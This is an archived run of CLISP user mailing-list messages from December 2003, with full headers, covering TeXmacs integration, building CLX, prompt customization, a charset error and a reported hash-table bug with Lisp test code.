11:14:42 -0500 (EST) Hello all, I have successfully gotten CLisp and CMUCL to run within a TeXmacs session, and have begun writing Lisp code to generate TeXmacs output (so far, I have graphical representation of Lisp trees finished). I plan to write a routine to create nicely formatted tables from Lisp arrays too. Is there a de facto (I don't want to support 12 of them) LaTeX package for Lisp? TeXmacs can render LaTeX, so providing some routines to do this would be nice. OTOH, TeXmacs uses Scheme internally. One can create TeXmacs markup using Scheme syntax such as: (concat (em "This text is italicized.") " " (strong "This text is bold.")) Such ability could easily be provided to Lisp, too. So, there are a lot of ways in which Lisp could support TeXmacs. Are there preferences or religious obligations that I should be aware of? I especially want to hear from people that use TeX/LaTeX a lot, because TeXmacs is aimed at you! From zera_holladay@yahoo.com Mon Dec 01 05:20:33 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQnya-0000Oa-00 for ; Mon, 01 Dec 2003 05:20:33 -0800 Received: from web41415.mail.yahoo.com ([66.218.93.81]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AQnya-0005Ql-Nh for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 05:20:32 -0800 Message-ID: <20031201132027.84802.qmail@web41415.mail.yahoo.com> Received: from [68.73.88.1] by web41415.mail.yahoo.com via HTTP; Mon, 01 Dec 2003 05:20:27 PST From: zera holladay To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 1 05:21:03 2003 X-Original-Date: Mon, 1 Dec 2003 05:20:27 -0800 (PST) I have been trying to build clx without any luck. Does anyone know where if it is possible to get clx and a makefile for clisp? I spent a good number of hours trying to fix an older version -- reading over macros for systems and things that I've never heard of, like Genera. In a couple of weeks I'll have some time so I am willing to contribute any work that needs to be done to this project or any others. Thanks Zera Holladay __________________________________ Do you Yahoo!? Free Pop-Up Blocker - Get it now http://companion.yahoo.com/ From bruno@clisp.org Mon Dec 01 06:01:49 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQocW-0003I9-00 for ; Mon, 01 Dec 2003 06:01:48 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AQocW-0007s3-97 for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 06:01:48 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id hB1E1hmS022084 for ; Mon, 1 Dec 2003 15:01:43 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.123]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id hB1E1fO07928; Mon, 1 Dec 2003 15:01:42 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id A7D023B3E4; Mon, 1 Dec 2003 14:00:55 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200312011500.54958.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] GNU gettext support for Lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 1 06:02:04 2003 X-Original-Date: Mon, 1 Dec 2003 15:00:54 +0100 Hi, The just-released GNU gettext 0.13 has improved support for CLISP programs: * An example demonstrating the use of GNU gettext with CLISP is shipped and installed at $prefix/share/doc/gettext/examples/hello-clisp. URL: http://ftp.gnu.org/gnu/gettext/gettext-0.13.tar.gz Enjoy! Bruno From sds@alphatech.com Mon Dec 01 06:32:38 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQp6M-0005ox-00 for ; Mon, 01 Dec 2003 06:32:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AQp6L-00046W-L3 for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 06:32:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB1EWRZ26250; Mon, 1 Dec 2003 09:32:27 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, zera holladay Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031201132027.84802.qmail@web41415.mail.yahoo.com> (zera holladay's message of "Mon, 1 Dec 2003 05:20:27 -0800 (PST)") References: <20031201132027.84802.qmail@web41415.mail.yahoo.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 1 06:33:13 2003 X-Original-Date: Mon, 01 Dec 2003 09:32:27 -0500 > * zera holladay [2003-12-01 05:20:27 -0800]: > > I have been trying to build clx without any luck. CLISP comes with 2 implementations of CLX. try $ ./configure --with-module=clx/new-clx --build build-new-clx $ ./build-new-clx/clisp -K full or $ ./configure --with-module=clx/mit-clx --build build-mit-clx $ ./build-mit-clx/clisp -K full -- Sam Steingold (http://www.podval.org/~sds) running w2k Are you smart enough to use Lisp? From sds@alphatech.com Mon Dec 01 11:37:55 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQtrn-0008F3-00 for ; Mon, 01 Dec 2003 11:37:55 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AQtrm-0005QC-Pt for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 11:37:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB1JbYZ05123; Mon, 1 Dec 2003 14:37:35 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Michael Graffam Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Michael Graffam's message of "Thu, 27 Nov 2003 12:54:47 -0500 (EST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp prompts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 1 11:38:12 2003 X-Original-Date: Mon, 01 Dec 2003 14:37:34 -0500 > * Michael Graffam [2003-11-27 12:54:47 -0500]: > > Could someone please help me out with changing clisp's command line > prompts? CLISP prompt consists of 4 parts. 1. (SYS::PROMPT-STRING1) string. empty by default. 2. Break. or Step. (optional) 3. (SYS::PROMPT-STRING2) string - whatever *PROMPT* is, see 4. (SYS::PROMPT-STRING3) string, "> " by default. Note that only *PROMPT* (part 3) is customizable. The reason for non-customizable PROMPT-STRING1 and PROMPT-STRING3 is probably to use different fonts for prompts and to help CLISP running under Emacs. E.g., PROMPT-STRING1 might output a control string which will make the terminal print bold characters and PROMPT-STRING3 will revert to the original font, so that the prompt is bold and the rest is normal (to make it easier for the user to distinguish CLISP output from his own commands). When CLISP is running under Emacs, its prompt must match `inferior-lisp-prompt' or a similar variable in ILisp, so PROMPT-STRING3 prints something that matches it. Note that the above ELisp variable is semi-obsolete (it is used only when `comint-use-prompt-regexp-instead-of-fields' is non-nil, and that is nil by default), so this use of PROMPT-STRING3 is not applicable these days. It might make sense to export functions PROMPT-START (instead of PROMPT-STRING1), PROMPT-BODY (instead of PROMPT-STRING2 and *PROMPT*) and PROMPT-FINISH (instead of PROMPT-STRING3), and default PROMPT-START and PROMPT-FINISH to return "". I hope Bruno will clarify this issue further. -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not worry about which side your bread is buttered on: you eat BOTH sides. From sds@alphatech.com Mon Dec 01 11:57:35 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQuAp-0001ua-00 for ; Mon, 01 Dec 2003 11:57:35 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AQuAo-0008Ol-OR for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 11:57:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB1JvOZ11366; Mon, 1 Dec 2003 14:57:24 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Szymon Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Szymon's message of "Wed, 26 Nov 2003 18:58:28 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: newbie problem: invalid byte #xB3 in CHARSET:ASCII conversion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 1 11:58:11 2003 X-Original-Date: Mon, 01 Dec 2003 14:57:23 -0500 > * Szymon [2003-11-26 18:58:28 +0100]: > > question: can I send (to this mailinglist) stupid problems like this? yes. > *** - invalid byte #xB3 in CHARSET:ASCII conversion Try "clisp -E utf-8". see also (try "where"). note that (directory "foo/**/") is the same as your (dirs "foo/"). note that (dirs "foo/" :depth number) is the same as (let ((*merge-pathnames-ansi* t)) (loop :with d = "foo/" :repeat number :nconc (directory (setq d (merge-pathnames "*/" d))))) -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From mgraffam@mathlab.sunysb.edu Mon Dec 01 12:19:49 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQuWL-0003uv-00 for ; Mon, 01 Dec 2003 12:19:49 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AQuWK-00036N-Kf for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 12:19:48 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hB1KJcWO015020; Mon, 1 Dec 2003 15:19:38 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hB1KJbjE015017; Mon, 1 Dec 2003 15:19:37 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net cc: Bruno Haible In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp prompts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 1 12:20:08 2003 X-Original-Date: Mon, 1 Dec 2003 15:19:37 -0500 (EST) On Mon, 1 Dec 2003, Sam Steingold wrote: > The reason for non-customizable PROMPT-STRING1 and PROMPT-STRING3 is > probably to use different fonts for prompts and to help CLISP running > under Emacs. Interestingly enough, the fairly rigid format of the prompts inhibits CLISP from running under TeXmacs (though this has been solved, as per previous messages on this list). > It might make sense to export functions PROMPT-START (instead of > PROMPT-STRING1), PROMPT-BODY (instead of PROMPT-STRING2 and *PROMPT*) > and PROMPT-FINISH (instead of PROMPT-STRING3), and default PROMPT-START > and PROMPT-FINISH to return "". Yes. Having a clean way to fully define the prompts would be useful in communicating with external software. Though, I think I'll have to mention all this on texmacs-dev because it provides an argument for making TeXmacs more flexible in this regards, as per Emacs. From sds@alphatech.com Mon Dec 01 20:15:28 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AR1et-0007xW-Oc for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 19:57:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AQutO-0006JG-Hb for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 12:43:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB1KhKZ24831; Mon, 1 Dec 2003 15:43:20 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Michael Graffam Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Michael Graffam's message of "Mon, 1 Dec 2003 15:19:37 -0500 (EST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp prompts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 1 20:17:09 2003 X-Original-Date: Mon, 01 Dec 2003 15:43:19 -0500 > * Michael Graffam [2003-12-01 15:19:37 -0500]: > >> It might make sense to export functions PROMPT-START (instead of >> PROMPT-STRING1), PROMPT-BODY (instead of PROMPT-STRING2 and *PROMPT*) >> and PROMPT-FINISH (instead of PROMPT-STRING3), and default PROMPT-START >> and PROMPT-FINISH to return "". > > Yes. Having a clean way to fully define the prompts would be useful in > communicating with external software. Then we will probably need PROMPT-STEP and PROMPT-BREAK parts too. -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux: Telling Microsoft where to go since 1991. From xur@wp.pl Mon Dec 01 20:15:56 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AR1f3-0008KY-5k for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 19:57:17 -0800 Received: from smtp.wp.pl ([212.77.101.160]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AR16s-00082V-9W for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 19:21:58 -0800 Received: (WP-SMTPD 24153 invoked from network); 2 Dec 2003 03:21:48 -0000 Received: from yy24.neoplus.adsl.tpnet.pl (HELO darkstar) (xur@[80.54.144.24]) (envelope-sender ) by smtp.wp.pl (wp-smtpd) with SMTP for ; 2 Dec 2003 03:21:44 -0000 From: Szymon To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re2: newbie problem: invalid byte #xB3 [...] Message-ID: References: In-Reply-To: User-Agent: elmo/0.8.3 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-AntiVirus: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-ChangeAV: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 1 20:17:41 2003 X-Original-Date: Tue, 02 Dec 2003 04:20:48 +0100 Hi. > > question: can I send (to this mailinglist) stupid problems like this? > > yes. Nice. Now I have reason to learn how write in english :) (I can only read it). > > *** - invalid byte #xB3 in CHARSET:ASCII conversion > > > Try "clisp -E utf-8". Thanks, `-E' works. > [.....] > note that (directory "foo/**/") is the same as your (dirs "foo/"). I wrote `dirs' because I read few lisp tutorials and want try it (trying to reinvent wheel is ok. for me if I do something to educate myself). > note that (dirs "foo/" :depth number) is the same as > > (let ((*merge-pathnames-ansi* t)) > (loop :with d = "foo/" :repeat number > :nconc (directory (setq d (merge-pathnames "*/" d))))) Very nice, thanks. No "super"loop in my tutorials :( regards, szymon. From mgraffam@mathlab.sunysb.edu Tue Dec 02 06:24:53 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARBSP-0000fk-TJ for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 06:24:53 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AQzLw-0002XK-Dv for clisp-list@lists.sourceforge.net; Mon, 01 Dec 2003 17:29:24 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hB21T0WO028261; Mon, 1 Dec 2003 20:29:00 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hB21T0kN028258; Mon, 1 Dec 2003 20:29:00 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: Sam Steingold cc: clisp-list@lists.sourceforge.net, Bruno Haible In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp prompts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 2 06:25:07 2003 X-Original-Date: Mon, 1 Dec 2003 20:28:59 -0500 (EST) On Mon, 1 Dec 2003, Sam Steingold wrote: > > * Michael Graffam [2003-12-01 15:19:37 -0500]: > > Yes. Having a clean way to fully define the prompts would be useful in > > communicating with external software. > > Then we will probably need PROMPT-STEP and PROMPT-BREAK parts too. Yeah. Having functions get called at various points in the prompting is great, it allows a nice way to link into other software. I like this better than bash's solution. But for software control through pipes, you need to have control over what is sent, and when. Obscure typesetting across pipes isn't the only area of application, either -- controlling other odd software, like text-to-speech or braille terminals. In UNIX, never assume stdio is read by a human. :) From mcross@irobot.com Tue Dec 02 13:43:51 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARIJD-00028d-8g for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 13:43:51 -0800 Received: from brick.irobot.com ([66.238.211.199] helo=smtp1.irobot.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARIJC-0005Hy-GJ for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 13:43:50 -0800 Received: from byunghyun.irobot.com (dhcp-eng-110.hq.irobot.com [192.168.161.110]) by smtp1.irobot.com (Postfix) with ESMTP id 7CA61394266 for ; Tue, 2 Dec 2003 16:43:41 -0500 (EST) Message-Id: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> X-Sender: mcross@mail.hq.irobot.com X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 To: clisp-list@lists.sourceforge.net From: Matt Cross Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Bug in hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 2 13:44:02 2003 X-Original-Date: Tue, 02 Dec 2003 16:43:10 -0500 I'm running clisp-2.31 on Windows 2000. When I run the code at the end of this message, it ends up with some entries in the hash table twice (once with the value 't' and once with the correct numeric value). Am I doing something incorrect or is this a bug in clisp? -Matt (defun hashtbl-keys (hashtbl) (let ((keys ())) (maphash #'(lambda (key value) (push key keys) ) hashtbl) keys ) ) (defun check-hash-unique (hashtbl) (let ((hash-ok t)) (do* ((keys (hashtbl-keys hashtbl) (cdr keys)) (key (car keys) (car keys)) (other-keys (cdr keys) (cdr keys)) ) ((null keys) hash-ok) (if (member key other-keys) (progn (format t "ERROR! key '~a' occurs multiple times in the hash table!~%" key) (setf hash-ok nil) ) ) ) ) ) (defparameter *hashtbl* (make-hash-table :size 1000)) (defun do-hash-test () (loop for countval upfrom 1 upto 15000 for newsym = (gensym) do (progn (gethash newsym *hashtbl*) (setf (gethash newsym *hashtbl*) t) (setf (gethash newsym *hashtbl*) countval) ) finally (check-hash-unique *hashtbl*) ) ) From mgraffam@mathlab.sunysb.edu Tue Dec 02 14:52:20 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARJNT-0006JN-Qv for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 14:52:19 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARJNT-000317-FP for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 14:52:19 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hB2MqAWO019642 for ; Tue, 2 Dec 2003 17:52:10 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hB2Mq9SV019639 for ; Tue, 2 Dec 2003 17:52:10 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug in hash tables? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 2 14:53:36 2003 X-Original-Date: Tue, 2 Dec 2003 17:52:09 -0500 (EST) I'm running clisp-2.31 on Windows 2000. When I run the code at the end of this message, it ends up with some entries in the hash table twice (once with the value 't' and once with the correct numeric value). Am I doing something incorrect or is this a bug in clisp? I ran the code in CLisp 2.31 on Linux and got: [2]> (do-hash-test) ERROR! key 'G11701' occurs multiple times in the hash table! NIL whereas, in CMUCL, SBCL and GCL no errors were produced. Looks like a bug in CLisp. From sds@alphatech.com Tue Dec 02 16:07:51 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARKYZ-0001Yi-6y for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 16:07:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARKYY-0005x5-KB for clisp-list@lists.sourceforge.net; Tue, 02 Dec 2003 16:07:50 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB307Zk15998; Tue, 2 Dec 2003 19:07:35 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Matt Cross Cc: Bruno Haible Reply-to: 